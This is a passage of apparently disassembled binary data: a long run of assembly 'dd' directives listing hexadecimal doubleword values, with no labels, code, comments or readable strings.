0F1708F65h, 0D4E6E3F0h dd 0FBA09502h, 1A5FBFh, 5D0FB9C1h, 86BDAC00h, 0B12CB45Bh dd 0F81E677h, 9C249FEBh, 0E007E6E0h, 0D500DC01h, 27AFC046h dd 3E819122h, 3F00B2F1h, 2E61B99Ch, 50039B5h, 0E27D6A28h dd 0EC9E5FA7h, 100400E1h, 5B96C9F7h, 6001C1FBh, 0F192AC15h dd 9DECF2B4h, 9C8A00AAh, 75C828B3h, 0E800906Ah, 5C6151A4h dd 39D30CEDh, 6082C3B4h, 10279FFEh, 10B6ACC1h, 1384C1A3h dd 346FB98Dh, 0FE046F08h, 0EC7CFD80h, 75001382h, 811959EAh dd 291A7D10h, 5634CE31h, 0F85E300h, 1A60BEA5h, 83120092h dd 2DDB5119h, 1CAE94CBh, 5EC5F619h, 0A1C5B510h, 99041980h dd 0E082D7Ch, 18F821h, 8B6967BEh, 0CA166227h, 30C31F34h dd 0E02100B4h, 2DB1695Fh, 0F105316Bh, 4487AB29h, 449F50E4h dd 0AF05823Ch, 0C7575BB3h, 181AA4B0h, 3860EE44h, 0A1C00F56h dd 49DC439Ah, 2FAC0522h, 67FE6971h, 5E16481Ch, 3BBDA4D0h dd 4550006Ah, 8C7A0CA4h, 7E0C98F6h, 60DE2997h, 0AB1E4487h dd 6C95942Eh, 1BDA803Bh, 0EBAEB30Fh, 38BB004Bh, 7E639160h dd 0AC4A1FC7h, 31B80C83h, 0F54A1069h, 0C6A850A9h, 6902618Bh dd 11C28D2Fh, 60C4D827h, 83E921C1h, 3C00A761h, 763FB1C0h dd 311D2465h, 19B94731h, 0DAA450AFh, 4C00223Ch, 0BD57449Ah dd 3F9B2D1h, 0C73B8CC9h dd 98103801h, 6CC8A6BAh, 556410AFh, 365E3E95h, 5C6E1B80h dd 2F9329F5h, 0ABC83950h, 9A06ECA4h, 348E639Eh, 0FC500039h dd 12BA04D0h, 0B11DAA32h, 0E82531E2h, 1CF4767Ch, 80C844D0h dd 2990FC5Eh, 0FB0031E5h, 352F67FFh, 15A677C2h, 0B4118685h dd 0F4032D00h, 551296FBh, 0EA8EA20Eh, 21218C54h, 27F3FC52h dd 0B4C41D72h, 973BBB0Bh, 5510E8CAh, 0B02383ECh, 0D0FD0164h dd 181ABA05h, 0F5778848h, 2E63D000h, 0B242A83Dh, 0A7730070h dd 309DDD40h, 1C25EE25h, 0C054242Ah, 30F67C82h, 89116965h dd 0B9885227h, 695DDE80h, 4C08A0h, 0AC1E943Ah, 8B23BA9Bh dd 3360CD50h, 2624686h, 0BA03D0FBh, 104C310Ah, 3D0F375h dd 0F129E518h, 0C9C1FC05h, 2C203E67h, 0DF79BAh, 8239D764h dd 0DE15D90Eh, 2B964100h, 55F9D1DBh, 2E2F1219h, 7F4F26Eh dd 835D2DB2h, 9251AE30h, 38CAE0A4h, 6E80B68Bh, 0E12996F6h dd 8C19736h, 20BFC6A5h, 0ABE4022Bh, 0C00F543Bh, 2773AAF5h dd 0FE02021Ch, 9B7CEFB5h, 53B978A0h, 9DD89Fh, 490B2778h dd 81360777h, 5C8E5FEEh, 0BB046691h, 0F9617E20h, 0E1931CF8h dd 30B3D4C0h, 589780h, 6491A80Ah, 0C36BDF8h, 51011C10h dd 92065F0Fh, 48FE6785h, 6AC0FBE4h, 43278E69h, 62E3807Ah dd 94F869h, 7E877F5Eh, 6EBC067Ch, 33110312h, 0B20C7400h dd 79245A61h, 93221230h, 5948019Bh, 306EF94Eh, 879D0FE7h dd 0DBF26598h, 5294897Eh, 54600084h, 0C6D5C00Bh, 0AF02B159h dd 8F5DB805h, 5484A03Eh, 0B9084Eh, 68F28E8Dh, 81D33544h dd 7834CE04h, 0AC9982A6h, 10F8F3C0h, 0C854FA96h, 844F9F2Ah dd 87AC5BF3h, 6171400Bh, 0BB0F3428h, 747BC631h, 496384E8h dd 84E62F01h, 0A018A15Bh, 6F18B7D1h, 76636500h, 0D16E10C2h dd 0C0BF4FE5h, 0AA97AD60h, 3E90C88h, 0B407B190h, 829CF75Bh dd 44C10E10h, 178611C6h, 2D1FC981h, 308F5741h, 5000BDA4h dd 687DBC0Ch, 60EBCDCFh, 6216011h, 23333FACh, 1C53915h dd 49580D09h, 2EAFCB21h, 223F0043h, 0F6211869h, 0D98729B4h dd 1AA58A00h, 0B21CFE57h, 2D447897h, 8C60C824h, 2F80B336h dd 0DA173233h, 8C16EB8h, 88F18F5h, 0AD2F6D61h, 0ED40BBC4h dd 5C506187h, 0D8D01A4Fh, 0CC62B3h, 0BC39E957h, 0FDB4F966h dd 4F4D5000h, 61476996h, 0BBCE182Fh, 43CBF118h, 636852F5h dd 83C00429h, 0F9F40160h, 11029623h, 3503F2Ah, 0BFFF10F3h dd 1A3CE022h, 3D6B02EFh, 0E560F31h, 0D6402CAAh, 8036043Ah dd 0CA1DBAD4h, 9878908h, 6B6FEC0Ch, 0F77B000h, 0D04FCE43h dd 28B7E092h, 0E0FE1DB8h, 105EB312h, 0E307F8E2h, 0F1B1F4DEh dd 304443D1h, 0F350ECB8h, 0A140A61Ch, 0C9E04F6h, 0D2A3C5B0h dd 0C87E6460h, 23B9F940h, 38CF60EFh, 31D63075h, 5088F34Eh dd 0F88500D9h, 118038DBh, 1F0188B3h, 8B82CA42h, 0E830BF30h dd 0F8388C5Fh, 0F2B908D0h, 40456431h, 0AD0F072h, 0C804011Eh dd 0C39D2752h, 8E455A7h, 8EC7F424h, 0A52F6CD1h, 0EC88BF18h dd 0E1613A86h, 8DAFC000h, 0F66CB122h, 18B63300h, 9F36BB90h dd 3CFB31CAh, 2001A560h, 5D4437F8h, 846F77B6h, 6B02FC46h dd 82278F69h, 0E410B831h, 5E026963h, 987A6EDDh, 0EE32E01Ch dd 8079DFFh, 912B939Fh, 0AA70D2A5h, 9E89BC20h, 6A241F8Fh dd 1B584173h, 23FF7DCFh, 3025A25Ch, 0C6010E8Ch, 3397906Eh dd 722FC002h, 0AC84524Ch, 618A60F0h, 852F2368h, 3E8443Bh dd 0E3746182h, 3DF0A13Fh, 0E00ECBF1h, 73F828F6h, 699CF4h dd 1D475FA8h, 1980C998h, 7D05EC00h, 0E0CE463Ch, 113B0B1h dd 0A7B8FC76h, 6082F681h, 0F04307Ch, 3B8F3EADh, 43640C90h dd 4769Ch, 97914CF5h, 3FFE6892h, 0B860CF79h, 4F594471h dd 0E37000DCh, 0A77CF3EDh, 3300CEA1h, 68189AA0h, 67F4FAh dd 8EF68B01h, 0BE0A54AAh, 3496FC24h, 11881752h, 5AA80C1h dd 0E4A590BBh, 74440936h, 82003C60h, 2320AB2Bh, 3310E090h dd 0C12B98Fh, 0DFCC0477h, 4E51DC6h, 0F9606038h, 0BA1001D0h dd 4AC831FAh, 0D0F17385h, 6FA0F800h, 992F69Ch, 0C1A25B97h dd 8C9818D2h, 5018746h, 2296FDF4h, 8B270C55h, 0E0F3E0B7h dd 0FA0B8BB6h, 80E7D588h, 0EA06ED78h, 19F67139h, 3192AD45h dd 1754640Dh, 873ACD43h, 8E5AAD40h, 812CD5h, 0C107227Fh dd 33BC85C4h, 81804068h, 0FF0254A4h, 0F296F7F3h, 13221954h dd 79F3F04Eh, 400616A5h, 6D30F42Ah, 0C792070Eh, 0E8658AA2h dd 8740FC2Eh, 9A9D0E8h, 28F7226Ch, 0B7B56C40h, 0C1C2F096h dd 8B9540F0h, 0FD5D09EEh, 0B8D9263Fh, 843A4A38h, 0AA05BB23h dd 0F400667Ah, 6ED8B727h, 2B97124Ah, 0C4A4C7DAh, 0F210B2B2h dd 0B1EC3027h, 93B79F0Bh, 3B9102A4h, 18047077h, 61023C0Ch dd 0CF26F8EBh, 5E178367h, 0C688D807h, 461E8AC1h, 5B239460h dd 8F64808Ch, 0A1247290h, 9E00ED7Ah, 7CFB260Eh, 21B4B06Fh dd 27082067h, 5F606439h, 0CE563B86h, 3F967378h, 88320D9h dd 93F4270Dh, 7C4C54A5h, 0F8C44E8h, 2AEFEB16h, 0F3D14667h dd 88064EF7h, 40C3E5A7h, 0C0877DA0h, 0BD3EC8D1h, 61007AF5h dd 0B43D7A8h, 518F23F8h, 0F00894AEh, 0CC794898h, 1CF3407Eh dd 0EE0B5D0Bh, 0E8D2F5h, 99129B53h, 6DC340C9h, 0D40013F8h dd 0AE11E7DBh, 48986C80h, 8A2E31CEh, 26342400h, 0B5467420h dd 70CEB602h, 0E0F49162h, 0E667F200h, 44BFEE31h, 0AB04772Dh dd 0B7AF5B39h, 310BA8B7h, 24F02F23h, 0DC5C9D00h, 4D6173EEh dd 9C9E4956h, 1C731422h, 0E088315Eh, 6ECC4053h, 4FE62F0Ch dd 132B702Ah, 227E9893h, 8830EE94h, 2F661161h, 80C38875h dd 246180E6h, 0BC00BB09h, 80E6B96h, 0C22CCED2h, 973AE399h dd 18F79891h, 8A690B66h, 0B81C5A27h, 695EDF01h, 3931F7C1h dd 1259E9ECh, 471BC0Ch, 2B27E34h, 0FCED553Fh, 0A2C960A4h dd 33804D6Bh, 896C33BEh, 0BFE804E8h, 0CD19A919h, 0A8F8421Ah dd 6F2FF610h, 5154DC90h, 0D4FC1BB4h, 3E2F08A9h, 0E59B9C09h dd 6049C420h, 1658A081h, 0E25DFE6Dh, 35C01D70h, 0C572CC0h dd 2C460ECh, 9976EFB5h, 0B449F643h, 0EC307A91h, 5C63EDA7h dd 0F3A2EC2Dh, 4444CCE7h, 75BC5B60h, 0E5D8030Fh, 76589AEFh dd 1CB540B4h, 6E3F4266h, 0A5CF9D0Ch, 2A77E902h, 40747E07h dd 0EA3E9459h, 0A698D90Dh, 46CC69B9h, 40789C66h, 28E08180h dd 0CB270B06h, 0E0B843B3h, 8F53122Fh, 1CC22A9h, 0B320CC83h dd 0B5D71388h, 27F18FF1h, 9239CBC3h, 0FD2884ECh, 90696C60h dd 968A2725h, 64E500D8h, 0E974C669h, 18500B1Ah, 0B34056B4h dd 172316B9h, 865C22D3h, 0B8F40430h, 0D81A4D2Ah, 539F2488h dd 0DF10F380h, 25CF93EBh, 3807E7CAh, 837154B5h, 6924F224h dd 46748475h, 0FCF800B5h, 2791A2E8h, 80F35EABh, 6929B98h dd 0F6A58D02h, 7E0BC3CFh, 9A900268h, 0E8476A4Ah, 3660BE44h dd 4324F513h, 7C1FB8ACh, 0CF325C04h, 8C5DECC8h, 0FED0F604h dd 4C62E2B9h, 0D0EE7020h, 0DEFE00ADh, 1C5D9935h, 10BDF26Ch dd 29A744h, 1F84D15Ch, 931376C4h, 0D66A0E09h, 0EC46B5h dd 0E5B13B58h, 32770D13h, 0D27B2B16h, 5A6E50B4h, 23983BCCh dd 89E8054Ch, 50EC064h, 191F594Ah, 0CE0B1F97h, 484703Dh dd 2F1D70BCh, 80B14037h, 46365Fh, 0A3273B4h, 277ECCADh dd 0B57B12F6h, 0EC039F5Bh, 0B0798F04h, 9AADF799h, 0BE2F0BC8h dd 147A2C8Bh, 2436720h dd 0D41F5258h, 0BCDA4226h, 8902EF46h, 7D2F6761h, 0E760B471h dd 1FB6181h, 3D599764h, 0A03B3C2Fh, 900B9452h, 68C68663h dd 0E9D192A4h, 30F33442h, 6B4C618Dh, 2234427Bh, 85EB00BCh dd 56813B61h, 8F2AAE55h, 0B97B8CABh, 71C7E733h, 916819E4h dd 0DA9FF911h, 0DEA1888Fh, 30BA7861h, 0A525E6E0h, 30CCA9C6h dd 0A59B0710h, 6044E4E8h, 0EE91B253h, 0BE141E08h, 0A41ADE98h dd 74DCA638h, 0FF00B746h, 171EB40Ch, 27036DD7h, 229D86F1h dd 0ACD4E98Bh, 0E2A6E196h, 9CD90090h, 45BA3C94h, 2D0E3CDBh dd 0BFEC4B80h, 5BB9F9A4h, 0CCA43373h, 40EB1B20h, 51C68935h dd 59388Eh, 9356CF4Ch, 9F269B3Dh, 101C8C48h, 27005EE3h dd 7486C6FBh, 724D5798h, 1EC7144Ch, 26240FF1h, 2A1DE26Fh dd 53D4904Bh, 0F6BC403Bh, 0B50AE8B1h, 1E408CB1h, 2D59E4D0h dd 6880272Bh, 6036248Dh, 8EA048C8h, 0E4A55996h, 0F2A0F276h dd 466F30B6h, 0F373B101h, 4BF7A329h, 233FEF00h, 27F4AF5Dh dd 11941778h, 0E10C8028h, 73F0BCFh, 1FCDEF0Fh, 5730E0E8h dd 63648F55h, 4AA29C1h, 1D12288h, 0C1D733B9h, 872F9473h dd 1051F042h, 4718B379h, 17668127h, 80C09140h, 5C62CF16h dd 0FE460CF1h, 0D3E11F86h, 79216000h, 9590E4ACh, 0FFD500B3h dd 12817749h, 310CDE08h, 0B8389BC6h, 763090F8h, 42A0BEBAh dd 27003195h, 5C6C2114h, 6E5E4E0Fh, 9C4F2E64h, 0EEC2CE09h dd 27610044h, 0FF9FE20Bh, 7002066Ch, 0C9466598h, 3620E1C3h dd 9F70016Fh, 4BF54A72h, 0C2228840h, 60D1C03Ch, 0BA8C4600h dd 13F007A0h, 0CCE16E56h, 0B2010C04h, 0E40A2B69h, 0E4389B99h dd 5B13FC90h, 0E7E491D3h, 3F3C2025h, 0B122A22h, 5AC76073h dd 26A88808h, 4A467C38h, 0F488C00h, 2EAECC68h, 0C65B9709h dd 98F0C8D2h, 70925C9Eh, 588CB2E8h, 850044D3h, 2BD592BBh dd 1F4CB24Ah, 3359C150h, 0E885C077h, 0F86E4336h, 74902C08h dd 51A2198Dh, 0AEFC942Bh, 67592420h, 60EE31h, 6CE73464h dd 4494A5B7h, 0B1915CBEh, 5404B000h, 0D07BD316h, 42152500h dd 3FD71D03h, 61EC9C21h, 5498F68Bh, 0FAB002ECh, 1056993Bh dd 0C01BB362h, 5BCF97h, 0BA92D541h, 17C720FEh, 0AF4730Ch dd 60F64197h, 66D681ADh, 791713EBh, 78052932h, 9CE093B6h dd 9B9A12CFh, 0E078C65Ch, 12BB1A44h, 0AC500A4Ah, 713B0009h dd 0CCB7481h, 0C5262D3Ch, 909FD88Fh, 0C46E2FC2h, 65030054h dd 479A1F1Eh, 0FB0086E0h, 99DE3DD2h, 59168D8h, 8098EE43h dd 11D0C7BAh, 7C2CEFB6h, 8CB2EC3Ch, 9B27160Bh, 24D8D04Bh dd 15ECF0B1h, 384880ECh, 778CBCE8h, 9DF10B53h, 24F803A3h dd 91FC1795h, 293D85BBh, 8DD8A0C0h, 936509CDh, 0C5138BBh dd 9C3D8F8Ah, 839DCB80h, 71B7D1Ah, 822D5794h, 5BB3036Ch dd 3CF6ADE2h, 0A4A9B488h, 8182CEFh, 782825F3h, 5BB47605h dd 1848CDCFh, 635588A6h, 0E82A3309h, 865D1770h, 62C35544h dd 0CBC74883h, 0E6D68A13h, 2F9461Ch, 278C6968h, 10BA316Ah dd 2C6960E1h, 1A04F1Eh, 0A20123FEh, 688DD4BDh, 10E04458h dd 704476Fh, 0D7733330h, 131439Ch, 54C7A810h, 0F5926DC8h dd 5A0090A9h, 0AC0E822Fh, 2C051118h, 20EA92D6h, 40B7850Bh dd 0B064F9CCh, 23AB3008h, 662B8E11h, 28E0A94Bh, 3BB0CDDEh dd 88486502h, 0C9A0EA20h, 47799C59h, 5D81F819h, 0CDD1C605h dd 0D849274Bh, 0E438453Eh, 0F04460C3h, 6CF53B2Ch, 1AB3568Fh dd 13228C14h, 3B20C800h, 0CDAF5FCFh, 0B4144AE3h, 8F4067CCh dd 74BC010Ch, 1F96A797h, 0FCC0D6F0h, 0CE2531CFh, 253C7A33h dd 7497AA4Fh, 41804791h, 2F33457Ah, 1561C67Dh, 5EB79351h dd 627C4042h, 441C6784h, 8452604Bh, 15C20194h, 0B5F63C6Eh dd 5C882AB3h, 558720A3h, 6FBE330Ch, 209B816Ch, 2F0542D7h dd 341D9732h, 4C03C16h, 25A1F2D9h, 8C68CBAAh, 1795A272h dd 80259180h, 0D63E841Bh, 3FC000C8h, 29E95540h, 285FA7EEh dd 9C08D8C9h, 96F10987h, 4C60F65Bh, 0B898F98Bh, 25840E78h dd 9422B8D7h, 3104CBA2h, 28A91A08h, 7918BBD1h, 3318DC79h dd 0F660CEA3h, 0BE21DFF2h, 1E90DA00h, 65B53BCh, 0D4A44308h dd 0BBA68FACh, 60042185h, 0D01FFF0Ch, 0A27F679h, 91C01745h dd 1D3280BDh, 2C8DD999h, 937DC9Ch, 2CDA5153h, 0A415B329h dd 19121891h, 370440A3h, 83C6383Bh, 29D99148h, 4B9098C7h dd 23102ED3h, 2A0B02BDh, 0D4C0DEF8h, 9812ED6Eh, 5CC00F33h dd 0E87E5896h, 0FF531459h, 0D326A8D9h, 426F8h, 15325481h dd 6B079906h, 40B3F83h, 58F08064h, 0BB7859h, 79EFB533h dd 8E57C8Eh, 93C6D0C3h, 1EF00435h, 0CE91ECF9h, 0C0B788C4h dd 3F4050D0h, 6572018h, 9136E358h, 553708D0h, 7CBE3104h dd 40008BCh, 0C628988Fh, 0B97BA80Bh, 1FCEB59h, 0CE4998Eh dd 5460BF45h, 21C95FD7h, 40DBC94h, 0ECB828EDh, 8AEA421h dd 425E48CFh, 9329044Bh, 78AD3BDBh, 318D310h, 0DDAFAB2Bh dd 4A5E0B2h, 586562F9h, 81202EE7h, 58F180BEh, 0B9C11098h dd 9DB14323h, 29499A68h, 0A750F147h, 610008B7h, 0A7B367C7h dd 0BABE0495h, 40B11A0Bh, 0B51D9E5Ah, 0EACD006Ah, 17DD736Dh dd 8A00F013h, 67257222h, 3033B9B7h, 9898C3FFh, 0FE5C8866h dd 5C9702B0h, 58925B01h, 0A646217Ch, 0F8425E3Dh, 43310426h dd 105EAD90h, 0C04AA11h, 8B2FD4ECh, 0B4322B8h, 186E5996h dd 0B19F1882h, 8A78C713h, 6F409193h, 38A6D208h, 9040670Bh dd 863C3748h, 0A0F62744h, 0A23258h, 7D697ABFh, 2BE2D80h dd 4A009772h, 94E1C0EAh, 858C7CB3h, 3F0C4591h, 5320DE5Dh dd 35223843h, 3401E0A0h, 0AE23D0C4h, 10E3531h, 99801986h dd 0FBF259BFh, 4A026CCAh, 4907E987h, 145A86h, 4BEFD1A0h dd 0D4FB9068h, 29C13405h, 0AC073FA1h, 8A06CF87h, 55EF21F8h dd 0BCF37092h, 9A3026E2h, 0C1CF81Eh, 3C8F7011h, 50081D9h dd 8478BEA3h, 26ED4917h, 90004B5h, 0C0470DCFh, 0FB60BB64h dd 0BE09849Bh, 80F2ECA3h, 4398E009h, 5CC9594Eh, 8D985E3Dh dd 5FA7E83Dh, 40DAA589h, 88BF7A4Ch, 0F6002812h, 31CE2983h dd 991057B6h, 335F084Ch, 0E1FFE39h, 9D02BABBh, 0A48901E1h dd 0A44051A0h, 0BBF95DB6h, 0A8C72316h, 0E48C8CC5h, 0B53B74BDh dd 331C1430h, 908030B4h, 0E1A5CCADh, 316E13A0h, 53400408h dd 2C091256h, 2068169Ah, 8F4834FCh, 0DB809F8Ch, 471D802Bh dd 2A48008Dh, 0BBDE7042h, 0E424B7E5h, 9288CC04h, 483219C3h dd 108C23BFh, 1784227Bh, 3FA7015Eh, 8E111423h, 2D2CD071h dd 4912401h, 29D36EC9h, 0E8E1C945h, 23502F3Ah, 0C53100BEh dd 8EC66043h, 931CA09Fh, 0E1C8285h, 4EC79772h, 5362E0E0h dd 1BF0E839h, 418B8801h, 1C878101h, 6360A180h, 0EC0A3E5Dh dd 0CDA5101Eh, 6428BC00h, 99C8BF9h, 0FFC6310Fh, 6706C840h dd 4DEFC50Fh, 0C8358A1Dh, 7F32841h, 0FCD9064h, 0C5DDE11h dd 5CDB7001h, 238C689Bh, 0F3FE0080h, 54EA96F6h, 804D9F85h dd 2C0EF2F3h, 0E0A0747Eh, 0C477AD8Ah, 3333017h, 220C8454h dd 2B390C37h, 6E18BF13h, 7009D0B0h, 0E216639Bh, 790C51F8h dd 0BB51845h, 0C25D299Bh, 0CD27AC02h, 23A77703h, 0F7015E50h dd 0EAB9FFD0h, 71802863h, 7BCDD0EFh, 0DC23CA00h, 0C665458Bh dd 43864EC1h, 0A2DA29ECh, 510E9380h, 0B700747Fh, 160C9A8h dd 166DEE8Bh, 90874259h dd 89B1BE2Ch, 0CFD2FB0Fh, 9D9FE025h, 7BF235CDh, 2EBF4F1h dd 6F650A79h, 0D4BC37h, 22D63004h, 0BB132302h, 0F4770C03h dd 47B884B8h, 0C0C8008Ch, 0F427E95Bh, 44C8BD7h, 0C65D1410h dd 8C45E890h, 5868FD00h, 0E2972442h, 0F63B1438h, 0EA00E09Eh dd 322AB15Fh, 0A4941108h, 0C1465Eh, 5892C463h, 26F0CCE2h dd 60086E80h, 0DF97D2A4h, 0CE4EDA00h, 0B805C132h, 8F10004h dd 0DD1A7D7h, 0FC005D1Dh, 0BC0C9EFFh, 4AB55E76h, 0EE1090B1h dd 0ADF6585Fh, 58B73E4Fh, 0B29B3712h, 304BE27Ch, 70008ED2h dd 0BC97DADDh, 1D886169h, 5EB5EAF9h, 50C79723h, 18C6EC78h dd 0BE0091ABh, 49100B83h, 8E367h, 434A7748h, 8C7698F5h dd 0F8DE9D25h, 583A4014h, 0AD37E709h, 969C3107h, 4941E8CCh dd 0F24B84CBh, 2C8B0094h, 0EF1404F0h, 8741765h, 9F04C80Fh dd 2C1BF900h, 0FCA8BCBDh, 0F73B3BBBh, 0C067B0E4h, 2FEC2944h dd 30C23D13h, 0BD81F4B8h, 60DF0D23h, 7D7E9800h, 43996E0Bh dd 0BB6460A2h, 9B2D5BEDh, 89B480F4h, 0F42A6979h, 5DE012Fh dd 92CF3411h, 5ABC6C3Fh, 6601007h, 4F7858ABh, 71909018h dd 8800CA9Eh, 0E91ACED6h, 17D161ADh, 12A155DEh, 0B2680414h dd 0F2A8A254h, 2B4E30B2h, 81A5933Ah, 0CE2F13B3h, 0CC443F57h dd 0F863D417h, 9F2FB099h, 0C63B2798h, 0BB4F2850h, 9D77B4C8h dd 2411BC97h, 0FA335A81h, 0ABE86079h, 52A44840h, 0B9E26831h dd 0E2AB9033h, 28530245h, 0DAE79955h, 28719C62h, 99184D79h dd 37F44401h, 7554CDCEh, 17FE9460h, 465E2B98h, 81A71864h dd 354B840Fh, 1776C061h, 18975556h, 28A59E33h, 1C00FF89h dd 71060765h, 70398Bh, 995A6074h, 3A54AA8Fh, 5E9CC80Eh dd 84F48504h, 0A5AFCC08h, 0BEE47445h, 0E0E34F60h, 8E101B16h dd 0B794A4h, 0B49A26B9h, 8BDA7BCAh, 88519D5Fh, 762C58FCh dd 1170989Dh, 68C780A7h, 551657FEh, 0E813EE29h, 2230ECE2h dd 9B75BB61h, 0D744331Eh, 28A6AC97h, 45A309E0h, 0F651D13h dd 0EC02BC13h, 71A4D991h, 0D6E500E4h, 73E8CC0Ah, 4DF6102h dd 5E321068h, 0B6465E20h, 63420B02h, 927F85C5h, 0B39F40A0h dd 82D900F1h, 0F35934AEh, 784F6F2Fh, 2188DC8Bh, 43195CC0h dd 0CB55D8Ah, 0DE989F24h, 57C5707h, 297589Dh, 0A7780191h dd 0F4B8C4Ch, 6ABEA9C3h, 33BA4F1Fh, 0F5B8F013h, 0E79DFA05h dd 80E61107h, 0FCD6FCB1h, 7CBC2E08h, 9A74C2DCh, 2C636E9Dh dd 0B8A0864Fh, 8010B4F6h, 6514F2BFh, 6EF887CFh, 9D920702h dd 0F1589BA3h, 18BAD9B8h, 0E5A7174Fh, 0AC70856Fh, 13C9160h dd 0A147A955h, 0CDD4C4A0h, 8A9090B5h, 549075A8h, 28012504h dd 6563B981h, 86D0913Bh, 81BBFA9h, 0E62F5109h, 1048E3D3h dd 64E0BC0h, 2663CE31h, 93290818h, 3006494Fh, 7C98640Eh dd 78E44896h, 0EFA29007h, 3BA38288h, 0BDF88070h, 4BC4774Ch dd 0D415A488h, 0B7E87CD1h, 9CC1008Ch, 98E509B6h, 1930B0C4h dd 73FE21EDh, 105D0160h, 0EFC5A76Eh, 0ADB88B21h, 12845196h dd 5D0F392h, 1F1EF727h, 0B3B208F3h, 0A796130h, 0BB763B99h dd 0D0F716ACh, 2B969EE0h, 0B001DE4Bh, 0A706218Eh, 41EB5030h dd 7E4C30B1h, 33D4B541h, 90CC40B3h, 0AD1D32FCh, 0B834A592h dd 64B92FC5h, 25B8C494h, 0BF4B048Ch, 918BF67Fh, 1E2B68h dd 9C47AAC7h, 3C0700DCh, 6D2A1D5Eh, 181F7C9Eh, 0C876D130h dd 417D0038h, 68E6805Fh, 6D0EB605h, 84A90B1Ch, 0D4E271D1h dd 4293077Bh, 0B05D5FFBh, 78D0D4AFh, 9624B3E0h, 0C910040Fh dd 8A98DAD7h, 0AA10A8CFh, 349FAB27h, 7C832411h, 93885219h dd 5C2F8499h, 0C9546D5Eh, 61582CF6h, 7C469853h, 803894FAh dd 0E3E57CE4h, 3678E1DAh, 42CEAE03h, 0E88DA26Ah, 0BCB2BD8h dd 0DF9BA86h, 0BA79A879h, 18FEFA18h, 480C62EBh, 0FF9A07A1h dd 0F700736Bh, 3131BCD6h, 0A47AA753h, 40882A68h, 9D67F8B9h dd 9F636CE9h, 6D276964h, 0AB0EC0C4h, 0D1263849h, 18029F64h dd 74D33B62h, 8E0C0240h, 47A2840h, 0AAB688A0h, 205BBD80h dd 67FEA78h, 2F9BEE16h, 49A718B0h, 3B08B0A8h, 428B326h dd 6C31044h, 4723F7ABh, 0A99540F4h, 0BF60B7F8h, 4D250809h dd 7C83AC98h, 289B7700h, 978B92E9h, 0BE422063h, 966CE858h dd 62F88C00h, 0C0AF2987h, 0EB0C6338h, 1481C48h, 0BBAAC708h dd 5AD6B570h, 0FA3500EEh, 1E5C8D07h, 4265D1Dh, 331308F9h dd 260624B3h, 90C69AF7h, 912C9D9Dh, 88CDC7BCh, 42F793E1h dd 0B124EC34h, 0E1A0828h, 3AE81E07h, 0EDDC1089h, 0C098820Ch dd 9DF0A4EBh, 22F27842h, 97E6B330h, 0D93DBC10h, 56EEE507h dd 0A750A19Ah, 79FC93Bh, 5AF9F594h, 5CCD710Eh, 27942696h dd 0DE18C88Eh, 10AD006Bh, 0B8E5B3BFh, 4A000493h, 34AF323Fh dd 725CD6F2h, 0F81A241Dh, 15258840h, 11351C89h, 608A2884h dd 28C7708h, 6B87E059h, 979F2C50h, 80239128h, 5A2FA585h dd 0D063263Bh, 43444F4h, 0A70230C1h, 0F0F2FBEDh, 789CCB13h dd 0B10F74A2h, 0CCD51A55h, 808F0407h, 9E9141E4h, 2489236h dd 786F1056h, 97140C00h, 0BC369858h, 0BA573B18h, 0E2818EA8h dd 1616E08Ch, 7B15521Ah, 0EAC603E0h, 8012C739h, 12093173h dd 0B9F7C2A7h, 0A41371B4h, 0B0A52B1Ch, 8014AC2Ch, 941088C9h dd 0C62F0B7Ah, 87F8E0E7h, 24E0A49Fh, 24C0F5Dh, 51233FAEh dd 9650C83h, 39C34016h, 0BCC828CEh, 5C0583CFh, 6D8FB829h dd 0A819809Fh, 531BE1C7h, 0E29D64D0h, 54C1017Bh, 1FEE2F4Ah dd 0F0487F3Bh, 44711B1h, 0CE824398h, 41F478C8h, 0C96460F1h dd 0CAF6E61Ah, 5E3C5481h, 0CD00BF46h, 0A3BE58FDh, 553C4076h dd 5D3F00E0h, 39185FE9h, 0BA0706E2h, 78B5673Bh, 342A1C17h dd 2FE430C8h, 2C847029h, 10CB57D7h, 0CFC04DC8h, 0CAC243h dd 0E969F62Dh, 41E57D1h, 4819AD27h, 3F04A04h, 0C82B4B65h dd 74F0F21Bh, 3EE960D9h, 6F04246Eh, 0AAFA7740h, 0A2327C04h dd 94AD9003h, 0D70D2905h, 4EAA83EDh, 8BF66EF8h, 0C04BC8C8h dd 68F6CE28h, 7D071700h, 0D8132720h, 45D50925h, 7CF86787h dd 0B18747Ch, 0A30804B7h, 7C8E4C6Ch, 49D1A580h, 710076FAh dd 8548524Fh, 0E29FAEC6h, 8C4D021Ch, 5A07AB29h, 0BA016040h dd 8BF05B27h, 793CF164h, 0F361829h, 6EB04DC1h, 89EE8682h dd 0E7C890D7h, 97D5Fh, 92B678C0h, 0DB2BBE83h, 2114C149h dd 85B00134h, 0FEE6A537h, 7476744Ah, 0B3465Eh, 65C06228h dd 752DECh, 932B3C21h, 13B2D776h, 1090F648h, 9A02FC3Dh dd 200E7733h, 285AB8C0h, 0C9852901h, 6E37D6DCh, 279EDCCh dd 0E6340613h, 1C747D3Bh, 0A10488h, 0B291FFD1h, 0AC94F9D9h dd 0A5661840h, 31904BE4h, 0EC141294h, 2B5A03C6h, 7E88F0D1h dd 6EB63300h, 0E40CB45Fh, 229410DEh, 6D78B851h, 2A8CEF55h dd 8929244Bh, 0E6B04859h, 0BB2F443Fh, 12D9A344h, 3B1A60F0h dd 0B4523B8h, 0EC068C9Ah, 9F02517Bh, 0F77858ECh, 0DC98D685h dd 70A964Ch, 916C1BEDh, 71BF9E92h, 4BF11124h, 0E72F786Eh dd 132AA084h, 844D58B0h, 465660B6h, 82830EBDh, 0C273CEE5h dd 0DC91451Eh, 0BB13E494h, 0BE23843Eh, 5874D200h, 16319041h dd 912157CEh, 2A3F8F44h, 0A4487023h, 0DE3B9603h, 1EF880FEh dd 1C8B64BEh, 10CCE426h, 50C9A323h, 0D2539640h, 31BB16B0h dd 8C76043Eh, 6CB3AD00h, 0EB47088Ch, 29BD04A8h, 0B85BD3EEh dd 8315881Ch, 0A9971B1h dd 2B9AF4E8h, 22440113h, 4037DCA0h, 5B1098A6h, 0B909EB13h dd 98548353h, 0D3F88141h, 8490237Ah, 6C2EE998h, 0E5EE300h dd 9D577142h, 75B5BE7h, 40F98124h, 0A6022838h, 2549E67Bh dd 0BFA30988h, 0EAB4135Fh, 7823DF48h, 0CC9263h, 7669381h dd 2F6E4A30h, 282340h, 217EE18Dh, 165B6947h, 10ECE410h dd 478267Fh, 0EFC6300Dh, 3EEC8914h, 0A500C86Eh, 0C39D4568h dd 